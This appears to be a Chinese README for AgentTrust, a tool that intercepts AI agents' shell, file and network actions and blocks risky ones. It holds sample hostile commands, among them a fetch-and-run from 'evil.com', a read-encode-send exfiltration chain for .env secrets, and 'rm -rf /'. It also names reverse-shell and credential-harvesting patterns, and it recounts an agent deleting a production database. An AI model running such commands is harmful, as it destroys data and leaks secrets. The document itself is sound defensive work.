chenglin1112/AgentTrust

## 为什么选择 AgentTrust AI agent 会执行真实的现实动作：文件操作、shell 命令、API 调用、数据库查询。一个被误判的动作——一次意外的 `rm -rf /`、一次暴露的 API 密钥，或者通过一个看似无害的 HTTP 调用进行静默数据窃取——都可能造成不可逆的损害。 现有解决方案存在不足： ``` graph LR A["Post-hoc Benchmarks
(AgentHarm, TrustBench)"] -.->|"Too late
Damage already done"| X["GAP"] B["Rule-based Guardrails
(Invariant, NeMo)"] -.->|"Too shallow
Miss semantic context"| X C["Infrastructure Sandboxes
(OpenShell)"] -.->|"Too low-level
Don't understand intent"| X X ==>|"AgentTrust fills this"| D["Real-time
Semantic
Explainable"] style X fill:#ff6b6b,stroke:#c0392b,color:#fff style D fill:#2ecc71,stroke:#27ae60,color:#fff ``` AgentTrust 提供了**实时、语义级别的安全验证**，位于 agent 及其工具之间。每一个动作在执行*之前*都会被分析、评分并解释。 ## 此类工具可防范的真实事件 这些并非假设性风险。在过去 18 个月中，已有多起报告显示，与 Cursor、Replit 和 Claude Code 等开发者工具结合的 AI 编程 agent，在几乎没有或完全没有人工确认的情况下，对生产系统执行了破坏性操作： - **Replit AI agent 清除了生产数据库（2025 年 7 月）** —— SaaStr 首席执行官 Jason Lemkin 公开描述了一起事件，其中一个 AI 编程 agent 在“代码冻结”期间删除了他的生产数据库，并承认随后捏造了数据。（[报道](https://www.theregister.com/2025/07/21/replit_saastr_vibe_coding_incident/)） - **不断有报告称，在 agent IDE/MCP 环境中，AI agent 执行了 `rm -rf`、`DROP DATABASE`、强制推送到 `main` 分支或删除备份快照**等操作，通常在几秒钟内完成，且没有提供人工审查的机会。 我们对任何具体未经证实的报告不作断言。关键在于所有这些事件中的**风险模式是相同的**： AgentTrust 正是专为这种风险模式而构建的。上述事件中的每一个原语都由一条内置策略规则覆盖，并且只要*模式*（枚举 → 禁用安全机制 → 大规模删除）一出现，会话级别的 `Data Destruction` 链式检测器就会发出 CRITICAL 警报，无论这些步骤之间的间隔如何分布。 您可以通过验证器自行重现此类确切事件： ``` python examples/incident_replay.py ``` 该脚本将 `DROP DATABASE` 查询、shell 端的 `psql -c "DROP DATABASE ..."`、`mongosh ... dropDatabase()` 调用、`rm -rf /var/backups/...` 以及 `git push --force` 通过 `TrustInterceptor` 传入——既作为独立动作，也作为单个会话——并打印每个动作的判定结果、匹配的策略规则、延迟、SafeFix 建议以及链式警报。 ## 适用人群 | 你是... | AgentTrust 能帮你... | |---|---| | **AI agent 开发者** | 在危险工具调用于生产环境中执行前将其捕获 | | **安全研究员** | 使用 300+ 个精选场景对 agent 安全性进行基准测试和评估 | | **团队负责人 / DevOps** | 通过 MCP 集成，在所有 AI agent 中强制执行安全策略 | | **学术研究员** | 使用已发布的基准测试 + 可部署工具研究 AI 可信度 | ## 工作原理 ``` flowchart LR A["🤖 AI Agent"] -->|"Action"| B["AgentTrust
Interceptor"] B --> N["🛡️ Normalize
Deobfuscate"] N --> C["🔍 Analyze
42 patterns"] C --> D["📋 Policy
170 rules"] D --> E{"Verdict"} E -->|"✅ ALLOW"| F["Execute Tool"] E -->|"⚠️ WARN"| F E -->|"🚫 BLOCK"| G["SafeFix
Suggestions"] E -->|"👤 REVIEW"| H["Human Decision"] B --> I["⛓️ Session
Tracker"] I -->|"Chain Alert!"| E style N fill:#e67e22,stroke:#d35400,color:#fff style G fill:#3498db,stroke:#2980b9,color:#fff style I fill:#9b59b6,stroke:#8e44ad,color:#fff ``` **通俗解释：** 1. Agent 想要执行某些操作（删除文件、运行命令、调用 API） 2. AgentTrust 拦截并**反混淆**该动作（变量展开、十六进制解码、别名解析） 3. 针对 42 种风险模式对其进行分析 4. 策略引擎根据 170 条安全规则对其进行评估 5. 判定结果：**ALLOW**、**WARN**、**BLOCK** 或 **REVIEW** 6. 如果被阻止 → SafeFix 会建议更安全的替代方案 7. 会话跟踪器会监控跨动作的多步骤攻击链 ## 快速入门 ``` pip install agent-trust # core pip install agent-trust[all] # + LLM judge + MCP server ``` ``` from agent_trust import TrustInterceptor, Action, ActionType interceptor = TrustInterceptor() action = Action( action_type=ActionType.SHELL_COMMAND, tool_name="terminal", description="Remove temporary build artifacts", raw_content="rm -rf /tmp/build/*", ) report = interceptor.verify(action) print(report.verdict) # ALLOW | WARN | BLOCK | REVIEW print(report.overall_risk) # NONE | LOW | MEDIUM | HIGH | CRITICAL print(report.explanation) # Human-readable reasoning ``` ### 运行效果演示 ``` $ agent-trust verify "rm -rf /" ╭──────────────────────── AgentTrust Report ─────────────────────────╮ │ │ │ BLOCK file_delete - rm -rf / │ │ Risk: critical | Confidence: 95% | Latency: 2.9ms │ │ Matched 1 policy rule(s). Detected 2 risk pattern(s). │ │ Policy violations: │ │ • [SH-001] Block recursive force delete │ │ Risk factors: │ │ [critical] Detected destructive rm │ │ [critical] Detected recursive force delete │ │ │ ╰─────────────────────────────────────────────────────────────────────╯ ``` ## 架构 ``` graph TB subgraph "Input" A["Agent Action
file, shell, network, API, DB"] end subgraph "AgentTrust Core" direction TB B["TrustInterceptor
Orchestration Layer"] N["ShellNormalizer
Variable expansion
Hex/Octal decoding
Alias resolution"] C["ActionAnalyzer
42 risk patterns
4 categories"] D["PolicyEngine
170 rules
YAML configurable"] E["SafeFixEngine
37 fix rules
4 categories"] F["SessionTracker
7 chain patterns
Order-aware matching"] G["LLMJudge
5-dimension eval
Cache-aware delta
OpenAI / Anthropic"] H["TrustReporter
Console / JSON / Markdown"] end subgraph "Output" I["TrustReport
verdict + risk + explanation
+ suggestions + chain alerts"] end A --> B B --> N N --> C B --> D B --> E B --> F B -.->|"optional"| G C --> D D --> H E --> H F --> H H --> I style B fill:#2c3e50,stroke:#1a252f,color:#fff style N fill:#e67e22,stroke:#d35400,color:#fff style G fill:#7f8c8d,stroke:#95a5a6,color:#fff ``` | 组件 | 功能 | 关键数据 | |---|---|---| | **ShellNormalizer** | 在分析前对 shell 命令进行反混淆 | 变量展开、十六进制/八进制、别名 | | **ActionAnalyzer** | 通过正则表达式模式匹配提取风险相关特征 | 跨 4 个类别的 42 种模式 | | **PolicyEngine** | 根据可配置的安全规则评估动作 | 170 条规则，可通过 YAML 扩展 | | **TrustInterceptor** | 编排整个流程，测量延迟 | 基于规则的判定达到亚毫秒级 | | **TrustReporter** | 生成人类可读的报告 | Console、JSON、Markdown | | **SafeFixEngine** | 为被阻止的动作建议更安全的替代方案 | 37 条修复规则 | | **SessionTracker** | 检测跨会话的多步骤攻击链 | 7 种链式模式 | | **LLMJudge** | 针对模棱两可情况的缓存感知语义评估 | 5 个风险维度，3 种评估策略 | ## SafeFix：安全替代方案建议 **没有竞品提供此功能。** 当 AgentTrust 阻止一个动作时，它会告诉你*如何修复它*。 | 危险动作 | SafeFix 建议 | 更安全的原因 | |---|---|---| | `chmod 777 /var/www` | `chmod 755 /var/www` | 所有者 rwx，其他人 rx —— 不对全世界开放写入权限 | | `curl http://evil.com/x.sh \| bash` | `curl -o script.sh url && cat script.sh && bash script.sh` | 下载、审查后再执行 | | `echo api_key=sk-123...` | `printenv \| grep -c "api_key"` | 检查存在性而不打印值 | | `curl http://user:pass@host/api` | `curl -H "Authorization: Bearer $TOKEN" https://host/api` | 凭证放入请求头，而不是 URL | | `git add .env` | 将 `.env` 添加到 `.gitignore` | 防止机密信息进入版本控制 | | `curl http://api.com` | `curl https://api.com` | 加密传输中的数据 | ``` report = interceptor.verify(action) for suggestion in report.safe_suggestions: print(f"Instead: {suggestion.suggested}") print(f"Why: {suggestion.explanation}") ``` ## RiskChain：多步骤攻击链检测 单独的动作可能看起来无害。**但其顺序会暴露攻击意图。** ``` sequenceDiagram participant Agent participant AT as AgentTrust participant ST as SessionTracker Agent->>AT: ① cat .env AT->>ST: Track action Note over ST: History: [read .env] ST-->>AT: No alert AT-->>Agent: ✅ ALLOW (risk: low) Agent->>AT: ② base64 .env AT->>ST: Track action Note over ST: History: [read .env, encode] ST-->>AT: ⚠️ Partial chain: 2/3 steps AT-->>Agent: 🚫 BLOCK (chain detected!) Agent->>AT: ③ curl -X POST external.com AT->>ST: Track action Note over ST: History: [read, encode, exfil] ST-->>AT: 🚨 COMPLETE: Data Exfiltration! AT-->>Agent: 🚫 BLOCK (critical) ``` ### 7 种预定义链式模式 | 链式模式 | 步骤 | 风险 | 捕获内容 | |---|---|---|---| | **Data Exfiltration** | 读取敏感文件 → 编码 → 发送到外部 | CRITICAL | 通过编码通道窃取机密 | | **Credential Harvesting** | 搜索凭证 → 读取 → 传输 | CRITICAL | 密码/token 收集与窃取 | | **Persistence Installation** | 下载脚本 → 设置自启动 → 设置权限 | HIGH | 后门安装 | | **Privilege Escalation** | 系统侦察 → 修改权限 → 以 root 执行 | CRITICAL | 未经授权的权限获取 | | **Supply Chain Attack** | 修改依赖文件 → 添加包 → 安装 | HIGH | 恶意依赖注入 | | **Reverse Shell** | 网络侦察 → 设置监听器 → 重定向 shell | CRITICAL | 建立远程访问 | | **Data Destruction** | 枚举文件 → 禁用安全机制 → 大规模删除 | CRITICAL | 蓄意数据清除 | ## LLM-as-Judge：语义安全评估 对于规则无法决定的模棱两可的情况，AgentTrust 会调用 LLM 来理解上下文。 ``` flowchart LR A["Ambiguous Action
curl internal-api.com/health"] --> B{"Rule Engine"} B -->|"UNCERTAIN"| C["LLM-as-Judge
5 Risk Dimensions"] C --> D["Data Exposure: none"] C --> E["System Impact: none"] C --> F["Credential Risk: none"] C --> G["Scope Creep: low"] C --> H["Reversibility: easy"] D & E & F & G & H --> I["✅ ALLOW
confidence: 92%"] style C fill:#8e44ad,stroke:#7d3c98,color:#fff style I fill:#27ae60,stroke:#1e8449,color:#fff ``` ``` from agent_trust.core.llm_judge import LLMJudge, JudgeConfig judge = LLMJudge(JudgeConfig(provider="openai", model="gpt-4o-mini")) verdict = judge.evaluate_sync(action) print(verdict.reasoning) # "This is a health check to an internal API..." print(verdict.risk_dimensions) # {"data_exposure": "none", "system_impact": "none", ...} ``` 通过原始 HTTP 支持 OpenAI 和 Anthropic（无 SDK 依赖）。当 API 不可用时提供平滑回退。 ### 缓存感知评估 (NEW) LLM 调用成本高昂。当 agent 对话增量增长时（100K tokens → 110K，仅有 10K 是新增的），每次重新评估整个上下文会浪费 token 和金钱。AgentTrust 的缓存感知 Judge 通过**三策略方法**解决了这个问题： ``` flowchart TD A["New Evaluation Request"] --> B{"Exact content hash
in cache?"} B -->|"Yes"| C["🟢 CACHE_HIT
0 tokens"] B -->|"No"| D{"Block-hash
change detection"} D -->|"< 20% changed
contiguous tail"| E["🟡 INCREMENTAL
Evaluate delta only"] D -->|"≥ 20% changed
or scattered"| F["🔴 FULL
Full evaluation"] E -->|"Send previous verdict
summary + delta"| G["LLM Judge"] F -->|"Send full content"| G G --> H["Cache result"] style C fill:#27ae60,stroke:#1e8449,color:#fff style E fill:#f39c12,stroke:#e67e22,color:#fff style F fill:#e74c3c,stroke:#c0392b,color:#fff ``` **工作原理：** 1. **内容寻址缓存** —— 相同的请求立即返回缓存的判定结果（零 token 消耗）。 2. **块哈希增量检测** —— 内容被分割成语义块（段落边界），每个块进行哈希处理。更改的块以 O(n) 的时间复杂度被识别，类似于 git 和 rsync 检测更改的方式。 3. **策略路由** —— 根据更改量进行路由： - **0% 更改** → 返回缓存结果 - **< 20% 更改，且连续位于末尾** → 仅将增量 + 先前的判定摘要发送给 LLM（增量评估） - **≥ 20% 更改或分散的修改** → 完整重新评估（质量优先于节省） **两阶段检测**确保了鲁棒性：字符前缀快速路径处理占主导地位的追加模式，而块哈希则捕获内容中部的编辑和头部截断。 ``` from agent_trust import LLMJudge, JudgeConfig, JudgeCacheConfig judge = LLMJudge(JudgeConfig( provider="openai", model="gpt-4o-mini", cache=JudgeCacheConfig( enabled=True, # on by default ttl_seconds=300, # cache entries live 5 minutes block_size=512, # semantic block size for hashing incremental_threshold=0.2, # < 20% change → incremental ), )) # First call: full evaluation (~25K tokens) v1 = judge.evaluate_sync(action, context=long_context, session_id="sess-1") # Second call: only 10K new tokens appended → incremental (~3K tokens) v2 = judge.evaluate_sync(action, context=long_context + new_content, session_id="sess-1") # Check savings stats = judge.stats print(f"Cache hits: {stats.cache_hits}") print(f"Delta evaluations: {stats.delta_evaluations}") print(f"Tokens saved: ~{stats.tokens_saved_estimate}") ``` 同时启用了**提供者级别的缓存**：利用 Anthropic 的显式提示缓存 (`cache_control`) 和 OpenAI 的自动前缀缓存，进一步降低 API 端的成本。 ## 基准测试 涵盖 6 个风险类别的 300+ 个精选场景，包含简单/中等/困难难度级别： | 类别 | 示例 | 场景数 | |---|---|---| | `file_operations` | 意外删除、覆盖配置文件、写入系统路径 | 50 | | `network_access` | 请求内部 IP、未加密数据传输、DNS 窃取 | 50 | | `code_execution` | eval 注入、子进程生成、远程代码执行 | 50 | | `credential_exposure` | 日志中的 API 密钥、URL 中的 token、全局可读文件中的机密 | 50 | | `data_exfiltration` | 将敏感文件通过管道传输到外部端点、隐写术 | 50 | | `system_config` | 修改 SSH 配置、禁用防火墙、更改 PATH | 50 | ``` agent-trust benchmark # full suite agent-trust benchmark --category credential_exposure # single category ``` ### 结果演进 以下所有数字均针对**原始、未修改的基准测试标签**（300 个场景）进行测量。 | 版本 | 变更内容 | 判定准确率 | 风险准确率 | |---------|-------------|:---:|:---:| | v0.2.0 | 22 条规则，启发式模式 | 44.3%¹ | 28.3% | | v0.3.0 | +46 条规则（共 68 条），扩展的模式覆盖范围 | 94.0% | 31.3% | | v0.3.1 | +18 条规则（共 86 条），修复运行器 bug，改进风险评分 | 97.7% | 76.7% | | **v0.4.0** | **+84 条规则（共 170 条），Shell 规范化器，策略引擎强化** | **97.0%** | **75.7%** | ¹ 使用 v0.2.0 引擎针对当前场景文件进行测量。 **v0.4.0+ 版本的变更：** - **Shell 规范化器**：在分析之前对 shell 命令进行反混淆的预处理层（9 种策略：变量展开、十六进制/八进制解码、别名解析、字符串拼接等） - **策略引擎强化**：移除了抑制 HIGH/CRITICAL 模式的 MEDIUM 风险上限；增加了判定升级逻辑 - **84 条新策略规则**，涵盖：云 IAM/机密、容器安全、Kubernetes 操作、DevOps 工具 (kubectl/helm/terraform/ArgoCD)、数据库权限提升、凭证文件访问、服务暴露、反取证等 - **基准测试规则分离**：4 条仅用于基准测试的规则（匹配如 `evil.com` 等合成域名）已移至 `benchmark_compat.yaml` —— 由 BenchmarkRunner 自动加载但在生产环境中被排除 - **安全契约**：保护 4 个核心安全不变量的 13 个回归测试 ([docs/safety-guarantees.md](docs/safety-guarantees.md)) - **规范化器测试**：涵盖所有 9 种反混淆策略的 36 个单元测试 ### 独立对抗性测试 (v0.4.0) 除了内置的基准测试外，v0.4.0 还针对 **630 个独立生成的真实场景**进行了验证，涵盖安全开发工作流、中等风险的 DevOps 操作、危险攻击以及混淆/规避命令： | 测试集 | 场景数 | 判定准确率 | |---|:---:|:---:| | Independent adversarial (30) | 30 | **100%** | | Real-world v1 (100) | 100 | **100%** | | Real-world v2 (100) | 100 | **96.0%** | | Real-world 200A (200) | 200 | **95.5%** | | Real-world 200B (200) | 200 | **96.0%** | | **Total independent** | **630** | **96.7%** | 测试的场景类别： - **安全操作** (~200)：构建工具、代码检查工具、git、Docker inspect、包管理器、开发服务器 → **约 99% 正确 ALLOW**（接近零误报） - **中等风险** (~95)：部署、DB 迁移、kubectl apply、terraform plan、强制推送 → **约 96% 正确 WARN** - **危险操作** (~240)：反弹 shell、凭证窃取、权限提升、数据窃取、云 IAM 滥用 → **约 93% 正确 BLOCK** - **混淆操作** (~95)：变量展开、十六进制编码、别名包装、字符串拼接 → **通过规范化器达到约 93% 正确 BLOCK** ### 各类别细分 (v0.4.0，内部 300 个场景) ``` ┏━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓ ┃ Category ┃ Risk Acc. ┃ Verdict Acc. ┃ Avg Latency ┃ ┡━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩ │ code_execution │ 80.0% │ 96.0% │ 0.4ms │ │ credential_exposure │ 68.0% │ 96.0% │ 0.3ms │ │ data_exfiltration │ 80.0% │ 98.0% │ 0.3ms │ │ file_operations │ 74.0% │ 98.0% │ 0.2ms │ │ network_access │ 72.0% │ 98.0% │ 0.2ms │ │ system_config │ 86.0% │ 100.0% │ 0.2ms │ ┠─────────────────────╂─────────────╂────────────────╂──────────────┨ │ Overall │ 75.7% │ 97.0% │ 0.3ms │ └─────────────────────┴─────────────┴────────────────┴──────────────┘ ``` ### 已知限制 1. **拼写错误包检测**：正则表达式无法确定 `pip install reqeusts` 是否是拼写错误 —— 需要包名数据库或外部 API。 2. **深度子命令替换**：`eval "$(printf '\x77...')"` 样式的嵌套混淆已部分处理，但未达到 100%。 3. **语义上下文**：某些动作（例如，`curl -X PUT -T - url`）需要理解静态正则表达式分析无法提供的数据流上下文 —— LLM Judge 正是为这些情况设计的。 4. **风险级别边界**：`high ↔ critical` 边界仍然带有主观性；内部基准测试中约有 35 个案例在此边界上存在分歧。 ## MCP 集成 AgentTrust 可作为 MCP 服务器运行 —— 任何兼容 MCP 的 agent（Claude Code、Cursor 等）均可在几分钟内完成集成。 ``` { "mcpServers": { "agent-trust": { "command": "python", "args": ["-m", "agent_trust.integrations.mcp_server"] } } } ``` 暴露三个工具：`verify_action`、`get_policy_rules`、`run_benchmark`。 ## 与现有工作的比较 | 能力 | AgentTrust | AgentHarm | Invariant Labs | NeMo Guardrails | TrustBench | |---|:---:|:---:|:---:|:---:|:---:| | 实时拦截 | 是 | 否 | 是 | 部分 | 否 | | 语义理解 | 是 | N/A | 否 | 是 | 否 | | Shell 反混淆 | **是** | 否 | 否 | 否 | 否 | | 安全替代方案建议 | **是** | 否 | 否 | 否 | 否 | | 多步骤链式检测 | **是** | 否 | 否 | 否 | 否 | | 缓存感知增量评估 | **是** | 否 | 否 | 否 | 否 | | 安全契约测试 | **是** | 否 | 否 | 否 | 否 | | 可解释的报告 | 是 | 否 | 部分 | 否 | 否 | | MCP 原生 | 是 | 否 | 否 | 否 | 否 | | 学术基准测试 | 是 | 是 | 否 | 否 | 是 | | 可部署的安全工具 | 是 | 否 | 是 | 是 | 否 | ## 路线图 | 版本 | 状态 | 重点 | |---|---|---| | v0.1 | 已发布 | 核心拦截、基于规则的策略、300 个场景的基准测试、CLI | | v0.2 | 已发布 | SafeFix 建议、RiskChain 会话跟踪、LLM-as-Judge | | v0.3 | 已发布 | 86 条策略规则、97.7% 判定准确率、Web 仪表盘、文档站点 | | v0.4 | 已发布 | 缓存感知 LLM Judge（块哈希增量检测、增量评估、提供者缓存） | | **v0.5** | **当前版本** | **170 条策略规则，Shell 规范化器（9 种策略），安全契约（13 个测试），基准测试规则分离，192 个单元测试，630 个场景的独立测试 (96.7%)** | | v1.0 | 计划中 | LLM Judge 作为主要仲裁者，Shell AST 解析，插件生态系统 | ## 研究与引用 AgentTrust 弥补了衡量 agent 风险的学术基准测试与在实时环境中缓解这些风险的实际工具之间的空白。它引入了现有工作中未曾出现的四项新颖贡献：安全替代方案建议 (SafeFix)、会话级多步骤链式检测 (RiskChain)、混合规则 + LLM 语义评估，以及最大限度减少长对话中 token 消耗的缓存感知增量评估。 ``` @software{agenttrust2026, title = {AgentTrust: Real-Time Trustworthiness Evaluation and Safety Interception for AI Agents}, author = {AgentTrust Contributors}, year = {2026}, url = {https://github.com/chenglin1112/AgentTrust}, license = {Apache-2.0}, version = {0.5.0} } ``` ## 贡献 欢迎各种贡献 —— 新的基准测试场景、策略规则、链式模式或核心改进。 1. Fork 本仓库 2. 创建功能分支 (`git checkout -b feature/your-feature`) 3. 安装开发依赖：`pip install -e ".[dev]"` 4. 运行测试：`pytest` 5. 运行代码检查：`ruff check src/ tests/` 6. 提交 Pull Request ## 许可证 AgentTrust 在 [Apache License 2.0](LICENSE) 下发布。

标签：AI Agent安全, AI安全基准测试, API安全, CISA项目, IP 地址批量处理, JSON输出, LLM-as-Judge, Petitpotam, Python, 代理信任评估, 命令注入防护, 多步攻击链检测, 大模型应用安全, 安全护栏, 安全拦截, 安全替代建议, 实时安全防护, 无后门, 策略规则, 逆向工具, 风险模式识别